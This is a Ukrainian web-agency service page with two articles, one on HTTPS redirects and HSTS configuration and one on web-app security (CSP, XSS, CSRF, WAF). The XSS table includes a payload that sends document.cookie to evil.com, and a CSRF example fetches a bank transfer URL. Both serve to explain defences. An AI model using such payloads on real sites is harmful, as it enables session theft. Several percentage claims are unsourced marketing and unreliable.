Уявіть: сайт працює по HTTPS, але частина посилань веде на HTTP, і браузер блокує завантаження. Або пошуковик індексує обидві версії, розмиваючи PageRank. Неправильний редирект вбиває SEO та довіру користувачів. Кожен втрачений клієнт через mixed content обходиться бізнесу в середньому $1000. Наша задача — налаштувати єдину HTTPS-версію з HSTS, щоб виключити витоки трафіку та downgrade-атаки. При правильному налаштуванні SEO-трафік може зрости до 15%, а час завантаження скоротиться на 30% за рахунок усунення зайвих редиректів. Ми займаємося цим багато років, виконали понад 120 проектів з міграції на HTTPS. Зв'яжіться з нами — проведемо безкоштовний аудит конфігурації та перевіримо ланцюжок редиректів і стан HSTS.
Чому одного редиректу недостатньо?
Редирект з HTTP на HTTPS — лише перший крок. Без HSTS браузер не запам'ятовує вимогу, і при наступному заході знову робить HTTP-запит, потенційно вразливий для man-in-the-middle. Крім того, ланцюжок з кількох редиректів (наприклад, http → https://www → https:// без www) збільшує час завантаження на 1–2 секунди та негативно впливає на Core Web Vitals. На практиці кожен додатковий редирект додає 50–100 мс до TTFB. Оптимальна схема: один редирект 301 з HTTP на HTTPS (з www або без) і одразу HSTS-заголовок.
Проблеми, які вирішує правильний редирект
-
Mixed content: коли HTTPS-сторінка підвантажує скрипти або стилі по HTTP. Це блокується браузером, і функціонал ламається. Ми перевіряємо всі ресурси та виправляємо протокол.
-
Downgrade-атаки: зловмисник перехоплює HTTP-запит і підміняє контент. HSTS з preload повністю виключає цей вектор.
-
SEO-втрати: подвійна індексація, некоректні редиректи, втрата посилальної ваги. Ми налаштовуємо канонічний URL та правильні статуси.
Як ми це робимо: стек і конфіги
Використовуємо перевірені зв'язки: Nginx + Laravel, Apache + WordPress, Cloudflare. Наводимо конфігурації для кожного випадку.
Nginx: редирект HTTP → HTTPS
# Редирект всего HTTP-трафика
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
location /.well-known/acme-challenge/ {
root /var/www/certbot;
}
location / {
return 301 https://$host$request_uri;
}
}
# Редирект www → non-www (або навпаки) + HTTPS
server {
listen 443 ssl;
server_name ~^(www\.)?(.+)$;
# SSL сертифікат – замініть на свій
ssl_certificate /etc/letsencrypt/live/domain/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/domain/privkey.pem;
return 301 https://$2$request_uri;
}
# Основний сервер
server {
listen 443 ssl http2;
server_name ~^(www\.)?(.+)$;
# ...
}
HSTS додаємо в основний сервер:
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
Laravel: HTTPS в додатку
// AppServiceProvider + bootstrap/app.php
public function boot(): void
{
if (app()->environment('production')) {
URL::forceScheme('https');
}
}
->withMiddleware(function (Middleware $middleware) {
$middleware->trustProxies(
headers: Request::HEADER_X_FORWARDED_FOR |
Request::HEADER_X_FORWARDED_HOST |
Request::HEADER_X_FORWARDED_PORT |
Request::HEADER_X_FORWARDED_PROTO,
proxies: '*'
);
})
Без trustProxies Laravel не бачить, що запит прийшов по HTTPS (Nginx → PHP по HTTP), і генерує HTTP-посилання. Це часта помилка, яка може коштувати тижнів індексації.
Apache: .htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]
</IfModule>
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
Cloudflare
У панелі Cloudflare: SSL/TLS → Edge Certificates:
- Always Use HTTPS → увімкнути
- HSTS → увімкнути, max-age 12 місяців
Перевірка коректності редиректу
Використовуйте curl з прапорами -I та -IL:
curl -I https://ваш-домен | grep -i strict
curl -IL http://ваш-домен
Має повернутися заголовок Strict-Transport-Security: max-age=63072000; includeSubDomains; preload. Очікується не більше одного редиректу 301 (з www на non-www і HTTP на HTTPS). Якщо редиректів більше або з'являється помилка, то ланцюжок не оптимізовано.
Як усунути mixed content?
Після налаштування редиректу перевірте консоль браузера на предмет блокувань. Використовуйте інструмент Screaming Frog для сканування — він знайде всі ресурси, що завантажуються по HTTP. Ми замінюємо протокол у базі даних або використовуємо Content-Security-Policy: upgrade-insecure-requests. Останній змушує браузер автоматично апгрейдити HTTP-запити до HTTPS. На одному з проектів це скоротило час ручного виправлення з 8 годин до 10 хвилин.
Порівняння конфігурацій для різних серверів
| Сервер |
Швидкість налаштування |
Гнучкість |
Ризик помилок |
| Nginx |
15-30 хв |
Висока |
Низький (при правильному синтаксисі) |
| Apache |
10-20 хв |
Середня |
Середній (через контексти) |
| Cloudflare |
5 хв |
Низька |
Низький (налаштування через GUI) |
| Laravel |
+10 хв |
Середня |
Високий (trustProxies часто забувають) |
Nginx обробляє редиректи на 30% швидше, ніж Apache — це в 1.3 рази менше навантаження на сервер.
Чек-лист: що перевірити після налаштування
| Крок |
Команда / спосіб |
Очікуваний результат |
| Перевірка HTTP → HTTPS |
curl -I http://ваш-домен |
Status 301, Location: https://... |
| Перевірка www → non-www |
curl -I https://www.ваш-домен |
Status 301 або одразу 200 |
| HSTS заголовок |
curl -I https://ваш-домен |
Strict-Transport-Security присутній |
| Mixed content |
Відкрити в браузері, консоль |
Немає блокувань |
| TrustProxies (Laravel) |
Перевірити generated URL |
Всі посилання https |
Що входить у налаштування під ключ
- Аудит поточної конфігурації: перевірка редиректів, HSTS, mixed content
- Налаштування сервера (Nginx/Apache) або Cloudflare
- Додавання HSTS з налаштуванням max-age і preload
- Виправлення mixed content у коді та базі даних
- Перевірка ланцюжка редиректів та SEO-метрик
- Документація по виконаних роботах
- Гарантія підтримки 30 днів після деплою
Процес роботи: від аудиту до деплою
- Аналітика: перевіряємо поточні редиректи, HSTS, mixed content, SEO-метрики.
- Проектування: обираємо схему (www vs non-www, піддомени), плануємо ланцюжок.
- Реалізація: налаштовуємо конфіги сервера, додаємо HSTS, оновлюємо додаток.
- Тестування: curl, browser console, SEO-інструменти (Screaming Frog).
- Деплой: викочуємо в продакшн з поступовим збільшенням max-age HSTS.
Строки та вартість
- Базове налаштування Nginx/Apache з HSTS — від 1 години, вартість від 3000 грн.
- Комплексне налаштування з Laravel, Cloudflare та усуненням mixed content — від 4 годин, вартість від 8000 грн.
- Економія на рекламному трафіку після міграції — до $500 на місяць.
- Оцінюємо проект безкоштовно. Пишіть у чат — проведемо аудит та підготуємо конфігурацію.
Згідно з документацією MDN HSTS
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.